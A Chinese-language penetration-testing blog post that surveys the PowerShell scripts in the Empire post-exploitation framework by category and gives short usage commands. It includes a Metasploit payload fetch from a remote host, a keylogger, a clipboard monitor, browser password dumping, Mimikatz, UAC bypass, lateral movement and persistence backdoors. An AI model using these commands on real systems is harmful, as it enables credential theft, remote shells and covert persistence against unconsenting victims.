APT404-不作恶

在路上,一直在路上!

Powershell 渗透框架 [Empire]



0x01 前言:
    对于empire[说实话确实有些老了] 想必大家也都已经不再陌生,很多人说它是神器,嘿嘿……原谅我一直也没搞清楚神器的具体定义到底是什么[虽然,我知道这对于实际渗透并没任何卵用],也许在我有限的认知里,一直都以为只有能在千里之外轻松get到目标系统的system或者root权限的shell的0day才叫神器,如果动不动就把某个确实好用点儿的脚本或者工具就叫神器,未免有点儿草率,也显得不稳重,不是吗,自己有个比较野蛮的习惯,在用别人工具的时候,总是忍不住会观察,因为想尽可能理解它的内部实现[最好也是最直接的一手学习资料],如果换成是我自己这代码会怎么写呢,虽然是后知后觉,但拓展出来的思路足以让自己受益良多[站在别人的肩膀上可以走的更快,这是真的],虽然,自己并没有再把代码把它实现一遍,但对整个工具架构实现已经有了更清晰的理解和把握,到了实际用的时候自然就不一样了[更灵活点儿嘛],以后再看到类似的工具,可能一眼就能看透个百分之七八十,嘿嘿……纯粹是个人喜好哈,听过就好,废话过后,咱们说正题,今天主要是对empire中一些好用的powershell脚本做些简要的使用说明,当然啦,自己已经事先把empire中的powershell脚本选择性的提取了一下,因为我们的重点还是powershell,并非empire脚本本身,整个过程中也不会有任何涉及工具自身使用的东西,其实,empire使用真的非常简单,命令帮助已经写的非常详细了,看看帮助相信大家很快就能上手,不过整个工具最核心的东西还是这些ps脚本[对于一个职业渗透者来讲,您应该一开始就尽量朝着你所能理解的本质去,慢慢的,一旦养成这种习惯,同一个东西,你往往能看见别人看不见的一些小细节],因为这中间有很多脚本跟之前是重复的,所以就选择性的说一些,脚本使用都非常简单,就不再一一截图了,实在是好累啊,还是那句话,关键是大家能在实际渗透中用上,别的都是扯淡

0x02 执行系统指令的相关模块[code_execution]:

1
2
3
Invoke-DllInjection.ps1    		向指定进程中注入自定义dll
Invoke-ReflectivePEInjection.ps1 反射注入 dll
Invoke-Shellcode.ps1 执行自定义shellcode

1
2
3
4
Invoke-MetasploitPayload.ps1   		尝试派生一个meterpreter的shell
PS C:\> Set-ExecutionPolicy Unrestricted
PS C:\> Import-Module C:\empire\code_execution\Invoke-MetasploitPayload.ps1
PS C:\> Invoke-MetasploitPayload -url http://192.168.3.6:8080/



1
2
Invoke-ShellcodeMSIL.ps1   	在powershell进程中执行shellcode,避免触发win32 api
PS C:\> Import-Module C:\empire\code_execution\Invoke-ShellcodeMSIL.ps1

0x03 一些信息搜集模块[collection],后面的脚本就不一一截图了[累],大家可以自己根据脚本中的帮助说明进行尝试:

1
2
3
4
5
Get-ChromeDump.ps1  	搜集chrome浏览器的http密码数据,浏览历史等等
Get-FoxDump.ps1 搜集Firefox浏览器的http密码数据,浏览历史等等
Get-BrowserData.ps1 搜集所有浏览器数据[IE,chrome,firefox],包括书签,收藏
PS C:\> Import-Module C:\empire\collection\Get-BrowserData.ps1
PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName admin

1
2
3
Get-ClipboardContents.ps1 	提前当前机器剪切板中的数据,以秒为单位,默认15秒,实际中并未成功
PS C:\> Import-Module C:\empire\collection\Get-ClipboardContents.ps1
PS C:\> Invoke -ClipboardMonitor -CollectionLimit 12
1
2
3
Get-Keystrokes.ps1 		实时键盘记录,不太靠谱,经常会漏掉一些字符
PS C:\> Import-Module C:\empire\collection\Get-Keystrokes.ps1
PS C:\> Get-Keystrokes

1
2
3
Get-Screenshot.ps1  	截图,貌似不太好使,不过前面有脚本是好使的
PS C:\> Import-Module C:\empire\collection\Get-Screenshot.ps1
PS C:\> Get-Screenshot
1
2
3
4
Invoke-Inveigh.ps1  		嗅探器,需要管理权限,支持LLMNR, NBNS, SMB, HTTP, and HTTPS
Invoke-InveighUnprivileged.ps1 嗅探smb hash,不需要管理员权限
Invoke-NetRipper.ps1 尝试从指定的浏览器进程中导出https明文密码数据,曾经黑帽大会的经典工具
Out-Minidump.ps1 相当于prodump -ma 免杀抓hash,缺点文件较大

0x04 抓各种密码的方式[credentials]:

1
2
3
4
5
6
Get-VaultCredential.ps1从Vault	获取各种密码
Invoke-CredentialInjection.ps1 类似wce的hash注入
Invoke-Mimikatz.ps1
Invoke-PowerDump.ps1
Invoke-TokenManipulation.ps1 窃取令牌
Invoke-DCSync.ps1

0x05 提权[privesc]及bypasuac的各种方法:

1
2
3
4
5
Invoke-MS16032.ps1  	可能不太好使
Invoke-WScriptBypassUAC.ps1
Invoke-BypassUAC.ps1
Get-SiteListPassword.ps1
Invoke-WScriptBypassUAC.ps1

0x06 各种内网渗透相关模块 [situational_awareness]:

1
2
3
4
5
Invoke-SmbScanner.ps1  	全自动smb弱口令扫描
Invoke-Portscan.ps1 tcp端口扫描
Invoke-ARPScan.ps1 内网arp扫描
Get-SPN.ps1
Invoke-WinEnum.ps1

0x07 横向渗透[lateral_movement],拓展内网的其它机器:

1
2
3
Invoke-PsExec.ps1		powershell版的psexec
Invoke-SSHCommand.ps1 powershell版本的ssh工具,可以利用它方便的ssh到内网的linux机器上
Invoke-InveighRelay.ps1 经典的smb重放攻击

0x08 持久控制 [persistence]:

1
2
3
4
Install-SSP.ps1
Invoke-BackdoorLNK.ps1 win快捷方式后门
Get-SecurityPackages.ps1
PowerBreach.ps1

0x09 一些内网web中间件利用:

1
2
Exploit-Jenkins.ps1
Exploit-JBoss.ps1